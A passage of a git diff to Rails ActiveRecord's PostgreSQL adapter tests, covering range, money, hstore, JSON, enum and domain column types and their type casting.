- new_tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
- assert @first_range.ts_range = new_tsrange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_tsrange, @first_range.ts_range
- assert @first_range.ts_range = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0)
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.ts_range
- end
-
- def test_create_numrange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
- range = PostgresqlRange.new(:num_range => numrange)
- assert range.save
- assert range.reload
- assert_equal range.num_range, numrange
- end
-
- def test_update_numrange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- new_numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
- assert @first_range.num_range = new_numrange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_numrange, @first_range.num_range
- assert @first_range.num_range = BigDecimal.new('0.5')...BigDecimal.new('0.5')
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.num_range
- end
-
- def test_create_daterange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- daterange = Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true)
- range = PostgresqlRange.new(:date_range => daterange)
- assert range.save
- assert range.reload
- assert_equal range.date_range, daterange
- end
-
- def test_update_daterange
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- new_daterange = Date.new(2012, 2, 3)...Date.new(2012, 2, 10)
- assert @first_range.date_range = new_daterange
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_daterange, @first_range.date_range
- assert @first_range.date_range = Date.new(2012, 2, 3)...Date.new(2012, 2, 3)
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.date_range
- end
-
- def test_create_int4range
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- int4range = Range.new(3, 50, true)
- range = PostgresqlRange.new(:int4_range => int4range)
- assert range.save
- assert range.reload
- assert_equal range.int4_range, int4range
- end
-
- def test_update_int4range
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- new_int4range = 6...10
- assert @first_range.int4_range = new_int4range
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_int4range, @first_range.int4_range
- assert @first_range.int4_range = 3...3
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.int4_range
- end
-
- def test_create_int8range
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- int8range = Range.new(30, 50, true)
- range = PostgresqlRange.new(:int8_range => int8range)
- assert range.save
- assert range.reload
- assert_equal range.int8_range, int8range
- end
-
- def test_update_int8range
- skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
- new_int8range = 60000...10000000
- assert @first_range.int8_range = new_int8range
- assert @first_range.save
- assert @first_range.reload
- assert_equal new_int8range, @first_range.int8_range
- assert @first_range.int8_range = 39999...39999
- assert @first_range.save
- assert @first_range.reload
- assert_nil @first_range.int8_range
+ def test_money_type_cast
+ column = PostgresqlMoney.columns.find { |c| c.name == 'wealth' }
+ assert_equal(12345678.12, column.type_cast("$12,345,678.12"))
+ assert_equal(12345678.12, column.type_cast("$12.345.678,12"))
+ assert_equal(-1.15, column.type_cast("-$1.15"))
+ assert_equal(-2.25, column.type_cast("($2.25)"))
end
def test_update_tsvector
new_text_vector = "'new' 'text' 'vector'"
- assert @first_tsvector.text_vector = new_text_vector
+ @first_tsvector.text_vector = new_text_vector
assert @first_tsvector.save
assert @first_tsvector.reload
- assert @first_tsvector.text_vector = new_text_vector
+ @first_tsvector.text_vector = new_text_vector
assert @first_tsvector.save
assert @first_tsvector.reload
assert_equal new_text_vector, @first_tsvector.text_vector
@@ -463,11 +170,6 @@ _SQL
assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
end
- def test_uuid_values
- assert_equal 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', @first_uuid.guid
- assert_equal 'f06c7150-96c1-012f-1317-64ce8f32c6d8', @first_uuid.compact_guid
- end
-
def test_bit_string_values
assert_equal '00010101', @first_bit_string.bit_string
assert_equal '00010101', @first_bit_string.bit_string_varying
@@ -479,11 +181,11 @@ _SQL
def test_update_integer_array
new_value = [32800,95000,29350,17000]
- assert @first_array.commission_by_quarter = new_value
+ @first_array.commission_by_quarter = new_value
assert @first_array.save
assert @first_array.reload
assert_equal new_value, @first_array.commission_by_quarter
- assert @first_array.commission_by_quarter = new_value
+ @first_array.commission_by_quarter = new_value
assert @first_array.save
assert @first_array.reload
assert_equal new_value, @first_array.commission_by_quarter
@@ -491,11 +193,11 @@ _SQL
def test_update_text_array
new_value = ['robby','robert','rob','robbie']
- assert @first_array.nicknames = new_value
+ @first_array.nicknames = new_value
assert @first_array.save
assert @first_array.reload
assert_equal new_value, @first_array.nicknames
- assert @first_array.nicknames = new_value
+ @first_array.nicknames = new_value
assert @first_array.save
assert @first_array.reload
assert_equal new_value, @first_array.nicknames
@@ -503,7 +205,7 @@ _SQL
def test_update_money
new_value = BigDecimal.new('123.45')
- assert @first_money.wealth = new_value
+ @first_money.wealth = new_value
assert @first_money.save
assert @first_money.reload
assert_equal new_value, @first_money.wealth
@@ -512,8 +214,8 @@ _SQL
def test_update_number
new_single = 789.012
new_double = 789012.345
- assert @first_number.single = new_single
- assert @first_number.double = new_double
+ @first_number.single = new_single
+ @first_number.double = new_double
assert @first_number.save
assert @first_number.reload
assert_equal new_single, @first_number.single
@@ -521,7 +223,7 @@ _SQL
end
def test_update_time
- assert @first_time.time_interval = '2 years 3 minutes'
+ @first_time.time_interval = '2 years 3 minutes'
assert @first_time.save
assert @first_time.reload
assert_equal '2 years 00:03:00', @first_time.time_interval
@@ -531,9 +233,9 @@ _SQL
new_inet_address = '10.1.2.3/32'
new_cidr_address = '10.0.0.0/8'
new_mac_address = 'bc:de:f0:12:34:56'
- assert @first_network_address.cidr_address = new_cidr_address
- assert @first_network_address.inet_address = new_inet_address
- assert @first_network_address.mac_address = new_mac_address
+ @first_network_address.cidr_address = new_cidr_address
+ @first_network_address.inet_address = new_inet_address
+ @first_network_address.mac_address = new_mac_address
assert @first_network_address.save
assert @first_network_address.reload
assert_equal @first_network_address.cidr_address, new_cidr_address
@@ -544,8 +246,8 @@ _SQL
def test_update_bit_string
new_bit_string = '11111111'
new_bit_string_varying = '0xFF'
- assert @first_bit_string.bit_string = new_bit_string
- assert @first_bit_string.bit_string_varying = new_bit_string_varying
+ @first_bit_string.bit_string = new_bit_string
+ @first_bit_string.bit_string_varying = new_bit_string_varying
assert @first_bit_string.save
assert @first_bit_string.reload
assert_equal new_bit_string, @first_bit_string.bit_string
@@ -558,47 +260,51 @@ _SQL
assert_raise(ActiveRecord::StatementInvalid) { assert @first_bit_string.save }
end
+ def test_invalid_network_address
+ @first_network_address.cidr_address = 'invalid addr'
+ assert_nil @first_network_address.cidr_address
+ assert_equal 'invalid addr', @first_network_address.cidr_address_before_type_cast
+ assert @first_network_address.save
+
+ @first_network_address.reload
+
+ @first_network_address.inet_address = 'invalid addr'
+ assert_nil @first_network_address.inet_address
+ assert_equal 'invalid addr', @first_network_address.inet_address_before_type_cast
+ assert @first_network_address.save
+ end
+
def test_update_oid
new_value = 567890
- assert @first_oid.obj_id = new_value
+ @first_oid.obj_id = new_value
assert @first_oid.save
assert @first_oid.reload
assert_equal new_value, @first_oid.obj_id
end
def test_timestamp_with_zone_values_with_rails_time_zone_support
- old_tz = ActiveRecord::Base.time_zone_aware_attributes
- old_default_tz = ActiveRecord::Base.default_timezone
-
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
+ with_timezone_config default: :utc, aware_attributes: true do
+ @connection.reconnect!
- @connection.reconnect!
-
- @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
- assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
- assert_instance_of Time, @first_timestamp_with_zone.time
+ @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
+ assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
+ assert_instance_of Time, @first_timestamp_with_zone.time
+ end
ensure
- ActiveRecord::Base.default_timezone = old_default_tz
- ActiveRecord::Base.time_zone_aware_attributes = old_tz
@connection.reconnect!
end
def test_timestamp_with_zone_values_without_rails_time_zone_support
- old_tz = ActiveRecord::Base.time_zone_aware_attributes
- old_default_tz = ActiveRecord::Base.default_timezone
-
- ActiveRecord::Base.time_zone_aware_attributes = false
- ActiveRecord::Base.default_timezone = :local
-
- @connection.reconnect!
-
- @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
- assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
- assert_instance_of Time, @first_timestamp_with_zone.time
+ with_timezone_config default: :local, aware_attributes: false do
+ @connection.reconnect!
+ # make sure to use a non-UTC time zone
+ @connection.execute("SET time zone 'America/Jamaica'", 'SCHEMA')
+
+ @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
+ assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
+ assert_instance_of Time, @first_timestamp_with_zone.time
+ end
ensure
- ActiveRecord::Base.default_timezone = old_default_tz
- ActiveRecord::Base.time_zone_aware_attributes = old_tz
@connection.reconnect!
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/domain_test.rb b/activerecord/test/cases/adapters/postgresql/domain_test.rb
new file mode 100644
index 0000000000..5286a847a4
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/domain_test.rb
@@ -0,0 +1,50 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlDomainTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
+ class PostgresqlDomain < ActiveRecord::Base
+ self.table_name = "postgresql_domains"
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.execute "CREATE DOMAIN custom_money as numeric(8,2)"
+ @connection.create_table('postgresql_domains') do |t|
+ t.column :price, :custom_money
+ end
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_domains'
+ @connection.execute 'DROP DOMAIN IF EXISTS custom_money'
+ reset_connection
+ end
+
+ def test_column
+ column = PostgresqlDomain.columns_hash["price"]
+ assert_equal :decimal, column.type
+ assert_equal "custom_money", column.sql_type
+ assert column.number?
+ assert_not column.text?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_domain_acts_like_basetype
+ PostgresqlDomain.create price: ""
+ record = PostgresqlDomain.first
+ assert_nil record.price
+
+ record.price = "34.15"
+ record.save!
+
+ assert_equal BigDecimal.new("34.15"), record.reload.price
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/enum_test.rb b/activerecord/test/cases/adapters/postgresql/enum_test.rb
new file mode 100644
index 0000000000..4146b117f6
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/enum_test.rb
@@ -0,0 +1,76 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlEnumTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
+ class PostgresqlEnum < ActiveRecord::Base
+ self.table_name = "postgresql_enums"
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.execute <<-SQL
+ CREATE TYPE mood AS ENUM ('sad', 'ok', 'happy');
+ SQL
+ @connection.create_table('postgresql_enums') do |t|
+ t.column :current_mood, :mood
+ end
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_enums'
+ @connection.execute 'DROP TYPE IF EXISTS mood'
+ reset_connection
+ end
+
+ def test_column
+ column = PostgresqlEnum.columns_hash["current_mood"]
+ assert_equal :enum, column.type
+ assert_equal "mood", column.sql_type
+ assert_not column.number?
+ assert_not column.text?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_enum_mapping
+ @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+ enum = PostgresqlEnum.first
+ assert_equal "sad", enum.current_mood
+
+ enum.current_mood = "happy"
+ enum.save!
+
+ assert_equal "happy", enum.reload.current_mood
+ end
+
+ def test_invalid_enum_update
+ @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+ enum = PostgresqlEnum.first
+ enum.current_mood = "angry"
+
+ assert_raise ActiveRecord::StatementInvalid do
+ enum.save
+ end
+ end
+
+ def test_no_oid_warning
+ @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+ stderr_output = capture(:stderr) { PostgresqlEnum.first }
+
+ assert stderr_output.blank?
+ end
+
+ def test_enum_type_cast
+ enum = PostgresqlEnum.new
+ enum.current_mood = :happy
+
+ assert_equal "happy", enum.current_mood
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/explain_test.rb b/activerecord/test/cases/adapters/postgresql/explain_test.rb
index 0b61f61572..416f84cb38 100644
--- a/activerecord/test/cases/adapters/postgresql/explain_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/explain_test.rb
@@ -9,7 +9,7 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain
assert_match %(QUERY PLAN), explain
assert_match %(Index Scan using developers_pkey on developers), explain
end
@@ -17,9 +17,9 @@ module ActiveRecord
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
assert_match %(QUERY PLAN), explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = $1), explain
assert_match %(Index Scan using developers_pkey on developers), explain
- assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
assert_match %(Seq Scan on audit_logs), explain
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
index e434b4861c..c24c4b0d56 100644
--- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -7,15 +7,13 @@ require 'active_record/connection_adapters/postgresql_adapter'
class PostgresqlHstoreTest < ActiveRecord::TestCase
class Hstore < ActiveRecord::Base
self.table_name = 'hstores'
+
+ store_accessor :settings, :language, :timezone
end
def setup
@connection = ActiveRecord::Base.connection
- unless @connection.supports_extensions?
- return skip "do not test on PG without hstore"
- end
-
unless @connection.extension_enabled?('hstore')
@connection.enable_extension 'hstore'
@connection.commit_db_transaction
@@ -26,175 +24,285 @@ class PostgresqlHstoreTest < ActiveRecord::TestCase
@connection.transaction do
@connection.create_table('hstores') do |t|
t.hstore 'tags', :default => ''
+ t.hstore 'payload', array: true
+ t.hstore 'settings'
end
end
@column = Hstore.columns.find { |c| c.name == 'tags' }
end
- def teardown
+ teardown do
@connection.execute 'drop table if exists hstores'
end
- def test_hstore_included_in_extensions
- assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
- assert @connection.extensions.include?('hstore'), "extension list should include hstore"
- end
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_hstore_included_in_extensions
+ assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
+ assert @connection.extensions.include?('hstore'), "extension list should include hstore"
+ end
- def test_disable_enable_hstore
- assert @connection.extension_enabled?('hstore')
- @connection.disable_extension 'hstore'
- assert_not @connection.extension_enabled?('hstore')
- @connection.enable_extension 'hstore'
- assert @connection.extension_enabled?('hstore')
- ensure
- # Restore column(s) dropped by `drop extension hstore cascade;`
- load_schema
- end
+ def test_disable_enable_hstore
+ assert @connection.extension_enabled?('hstore')
+ @connection.disable_extension 'hstore'
+ assert_not @connection.extension_enabled?('hstore')
+ @connection.enable_extension 'hstore'
+ assert @connection.extension_enabled?('hstore')
+ ensure
+ # Restore column(s) dropped by `drop extension hstore cascade;`
+ load_schema
+ end
- def test_column
- assert_equal :hstore, @column.type
- end
+ def test_column
+ assert_equal :hstore, @column.type
+ assert_equal "hstore", @column.sql_type
+ assert_not @column.number?
+ assert_not @column.text?
+ assert_not @column.binary?
+ assert_not @column.array
+ end
- def test_change_table_supports_hstore
- @connection.transaction do
- @connection.change_table('hstores') do |t|
- t.hstore 'users', default: ''
+ def test_default
+ @connection.add_column 'hstores', 'permissions', :hstore, default: '"users"=>"read", "articles"=>"write"'
+ Hstore.reset_column_information
+ column = Hstore.columns_hash["permissions"]
+
+ assert_equal({"users"=>"read", "articles"=>"write"}, column.default)
+ assert_equal({"users"=>"read", "articles"=>"write"}, Hstore.new.permissions)
+ ensure
+ Hstore.reset_column_information
+ end
+
+ def test_change_table_supports_hstore
+ @connection.transaction do
+ @connection.change_table('hstores') do |t|
+ t.hstore 'users', default: ''
+ end
+ Hstore.reset_column_information
+ column = Hstore.columns.find { |c| c.name == 'users' }
+ assert_equal :hstore, column.type
+
+ raise ActiveRecord::Rollback # reset the schema change
end
+ ensure
Hstore.reset_column_information
- column = Hstore.columns.find { |c| c.name == 'users' }
- assert_equal :hstore, column.type
+ end
- raise ActiveRecord::Rollback # reset the schema change
+ def test_hstore_migration
+ hstore_migration = Class.new(ActiveRecord::Migration) do
+ def change
+ change_table("hstores") do |t|
+ t.hstore :keys
+ end
+ end
+ end
+
+ hstore_migration.new.suppress_messages do
+ hstore_migration.migrate(:up)
+ assert_includes @connection.columns(:hstores).map(&:name), "keys"
+ hstore_migration.migrate(:down)
+ assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
+ end
end
- ensure
- Hstore.reset_column_information
- end
- def test_type_cast_hstore
- assert @column
+ def test_cast_value_on_write
+ x = Hstore.new tags: {"bool" => true, "number" => 5}
+ assert_equal({"bool" => "true", "number" => "5"}, x.tags)
+ x.save
+ assert_equal({"bool" => "true", "number" => "5"}, x.reload.tags)
+ end
- data = "\"1\"=>\"2\""
- hash = @column.class.string_to_hstore data
- assert_equal({'1' => '2'}, hash)
- assert_equal({'1' => '2'}, @column.type_cast(data))
+ def test_type_cast_hstore
+ assert @column
- assert_equal({}, @column.type_cast(""))
- assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
- assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
- end
+ data = "\"1\"=>\"2\""
+ hash = @column.class.string_to_hstore data
+ assert_equal({'1' => '2'}, hash)
+ assert_equal({'1' => '2'}, @column.type_cast(data))
- def test_gen1
- assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
- end
+ assert_equal({}, @column.type_cast(""))
+ assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
+ end
- def test_gen2
- assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
- end
+ def test_with_store_accessors
+ x = Hstore.new(language: "fr", timezone: "GMT")
+ assert_equal "fr", x.language
+ assert_equal "GMT", x.timezone
- def test_gen3
- assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
- end
+ x.save!
+ x = Hstore.first
+ assert_equal "fr", x.language
+ assert_equal "GMT", x.timezone
- def test_gen4
- assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
- end
+ x.language = "de"
+ x.save!
- def test_parse1
- assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
- end
+ x = Hstore.first
+ assert_equal "de", x.language
+ assert_equal "GMT", x.timezone
+ end
- def test_parse2
- assert_equal({" " => " "}, @column.type_cast("\\ =>\\ "))
- end
+ def test_gen1
+ assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
+ end
- def test_parse3
- assert_equal({"=" => ">"}, @column.type_cast("==>>"))
- end
+ def test_gen2
+ assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
+ end
- def test_parse4
- assert_equal({"=a"=>"q=w"}, @column.type_cast('\=a=>q=w'))
- end
+ def test_gen3
+ assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
+ end
- def test_parse5
- assert_equal({"=a"=>"q=w"}, @column.type_cast('"=a"=>q\=w'))
- end
+ def test_gen4
+ assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
+ end
- def test_parse6
- assert_equal({"\"a"=>"q>w"}, @column.type_cast('"\"a"=>q>w'))
- end
+ def test_parse1
+ assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+ end
- def test_parse7
- assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
- end
+ def test_parse2
+ assert_equal({" " => " "}, @column.type_cast("\\ =>\\ "))
+ end
- def test_rewrite
- @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
- x = Hstore.first
- x.tags = { '"a\'' => 'b' }
- assert x.save!
- end
+ def test_parse3
+ assert_equal({"=" => ">"}, @column.type_cast("==>>"))
+ end
+ def test_parse4
+ assert_equal({"=a"=>"q=w"}, @column.type_cast('\=a=>q=w'))
+ end
- def test_select
- @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
- x = Hstore.first
- assert_equal({'1' => '2'}, x.tags)
- end
+ def test_parse5
+ assert_equal({"=a"=>"q=w"}, @column.type_cast('"=a"=>q\=w'))
+ end
- def test_select_multikey
- @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
- x = Hstore.first
- assert_equal({'1' => '2', '2' => '3'}, x.tags)
- end
+ def test_parse6
+ assert_equal({"\"a"=>"q>w"}, @column.type_cast('"\"a"=>q>w'))
+ end
- def test_create
- assert_cycle('a' => 'b', '1' => '2')
- end
+ def test_parse7
+ assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
+ end
- def test_nil
- assert_cycle('a' => nil)
- end
+ def test_rewrite
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+ x = Hstore.first
+ x.tags = { '"a\'' => 'b' }
+ assert x.save!
+ end
- def test_quotes
- assert_cycle('a' => 'b"ar', '1"foo' => '2')
- end
+ def test_select
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+ x = Hstore.first
+ assert_equal({'1' => '2'}, x.tags)
+ end
- def test_whitespace
- assert_cycle('a b' => 'b ar', '1"foo' => '2')
- end
+ def test_array_cycle
+ assert_array_cycle([{"AA" => "BB", "CC" => "DD"}, {"AA" => nil}])
+ end
- def test_backslash
- assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
- end
+ def test_array_strings_with_quotes
+ assert_array_cycle([{'this has' => 'some "s that need to be escaped"'}])
+ end
- def test_comma
- assert_cycle('a, b' => 'bar', '1"foo' => '2')
- end
+ def test_array_strings_with_commas
+ assert_array_cycle([{'this,has' => 'many,values'}])
+ end
- def test_arrow
- assert_cycle('a=>b' => 'bar', '1"foo' => '2')
- end
+ def test_array_strings_with_array_delimiters
+ assert_array_cycle(['{' => '}'])
+ end
- def test_quoting_special_characters
- assert_cycle('ca' => 'cà', 'ac' => 'àc')
- end
+ def test_array_strings_with_null_strings
+ assert_array_cycle([{'NULL' => 'NULL'}])
+ end
+
+ def test_contains_nils
+ assert_array_cycle([{'NULL' => nil}])
+ end
+
+ def test_select_multikey
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+ x = Hstore.first
+ assert_equal({'1' => '2', '2' => '3'}, x.tags)
+ end
+
+ def test_create
+ assert_cycle('a' => 'b', '1' => '2')
+ end
- def test_multiline
- assert_cycle("a\nb" => "c\nd")
+ def test_nil
+ assert_cycle('a' => nil)
+ end
+
+ def test_quotes
+ assert_cycle('a' => 'b"ar', '1"foo' => '2')
+ end
+
+ def test_whitespace
+ assert_cycle('a b' => 'b ar', '1"foo' => '2')
+ end
+
+ def test_backslash
+ assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
+ end
+
+ def test_comma
+ assert_cycle('a, b' => 'bar', '1"foo' => '2')
+ end
+
+ def test_arrow
+ assert_cycle('a=>b' => 'bar', '1"foo' => '2')
+ end
+
+ def test_quoting_special_characters
+ assert_cycle('ca' => 'cà', 'ac' => 'àc')
+ end
+
+ def test_multiline
+ assert_cycle("a\nb" => "c\nd")
+ end
+
+ def test_update_all
+ hstore = Hstore.create! tags: { "one" => "two" }
+
+ Hstore.update_all tags: { "three" => "four" }
+ assert_equal({ "three" => "four" }, hstore.reload.tags)
+
+ Hstore.update_all tags: { }
+ assert_equal({ }, hstore.reload.tags)
+ end
end
private
- def assert_cycle hash
- # test creation
- x = Hstore.create!(:tags => hash)
- x.reload
- assert_equal(hash, x.tags)
-
- # test updating
- x = Hstore.create!(:tags => {})
- x.tags = hash
- x.save!
- x.reload
- assert_equal(hash, x.tags)
- end
+
+ def assert_array_cycle(array)
+ # test creation
+ x = Hstore.create!(payload: array)
+ x.reload
+ assert_equal(array, x.payload)
+
+ # test updating
+ x = Hstore.create!(payload: [])
+ x.payload = array
+ x.save!
+ x.reload
+ assert_equal(array, x.payload)
+ end
+
+ def assert_cycle(hash)
+ # test creation
+ x = Hstore.create!(:tags => hash)
+ x.reload
+ assert_equal(hash, x.tags)
+
+ # test updating
+ x = Hstore.create!(:tags => {})
+ x.tags = hash
+ x.save!
+ x.reload
+ assert_equal(hash, x.tags)
+ end
end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
index f45c7afcc0..ee793ffff2 100644
--- a/activerecord/test/cases/adapters/postgresql/json_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -7,6 +7,8 @@ require 'active_record/connection_adapters/postgresql_adapter'
class PostgresqlJSONTest < ActiveRecord::TestCase
class JsonDataType < ActiveRecord::Base
self.table_name = 'json_data_type'
+
+ store_accessor :settings, :resolution
end
def setup
@@ -15,20 +17,38 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
@connection.transaction do
@connection.create_table('json_data_type') do |t|
t.json 'payload', :default => {}
+ t.json 'settings'
end
end
rescue ActiveRecord::StatementInvalid
- return skip "do not test on PG without json"
+ skip "do not test on PG without json"
end
@column = JsonDataType.columns.find { |c| c.name == 'payload' }
end
- def teardown
+ teardown do
@connection.execute 'drop table if exists json_data_type'
end
def test_column
- assert_equal :json, @column.type
+ column = JsonDataType.columns_hash["payload"]
+ assert_equal :json, column.type
+ assert_equal "json", column.sql_type
+ assert_not column.number?
+ assert_not column.text?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_default
+ @connection.add_column 'json_data_type', 'permissions', :json, default: '{"users": "read", "posts": ["read", "write"]}'
+ JsonDataType.reset_column_information
+ column = JsonDataType.columns_hash["permissions"]
+
+ assert_equal({"users"=>"read", "posts"=>["read", "write"]}, column.default)
+ assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.new.permissions)
+ ensure
+ JsonDataType.reset_column_information
end
def test_change_table_supports_json
@@ -46,17 +66,24 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
JsonDataType.reset_column_information
end
+ def test_cast_value_on_write
+ x = JsonDataType.new payload: {"string" => "foo", :symbol => :bar}
+ assert_equal({"string" => "foo", "symbol" => "bar"}, x.payload)
+ x.save
+ assert_equal({"string" => "foo", "symbol" => "bar"}, x.reload.payload)
+ end
+
def test_type_cast_json
- assert @column
+ column = JsonDataType.columns_hash["payload"]
data = "{\"a_key\":\"a_value\"}"
- hash = @column.class.string_to_json data
+ hash = column.class.string_to_json data
assert_equal({'a_key' => 'a_value'}, hash)
- assert_equal({'a_key' => 'a_value'}, @column.type_cast(data))
+ assert_equal({'a_key' => 'a_value'}, column.type_cast(data))
- assert_equal({}, @column.type_cast("{}"))
- assert_equal({'key'=>nil}, @column.type_cast('{"key": null}'))
- assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
+ assert_equal({}, column.type_cast("{}"))
+ assert_equal({'key'=>nil}, column.type_cast('{"key": null}'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
end
def test_rewrite
@@ -97,4 +124,28 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
assert x.save!
end
+ def test_with_store_accessors
+ x = JsonDataType.new(resolution: "320×480")
+ assert_equal "320×480", x.resolution
+
+ x.save!
+ x = JsonDataType.first
+ assert_equal "320×480", x.resolution
+
+ x.resolution = "640×1136"
+ x.save!
+
+ x = JsonDataType.first
+ assert_equal "640×1136", x.resolution
+ end
+
+ def test_update_all
+ json = JsonDataType.create! payload: { "one" => "two" }
+
+ JsonDataType.update_all payload: { "three" => "four" }
+ assert_equal({ "three" => "four" }, json.reload.payload)
+
+ JsonDataType.update_all payload: { }
+ assert_equal({ }, json.reload.payload)
+ end
end
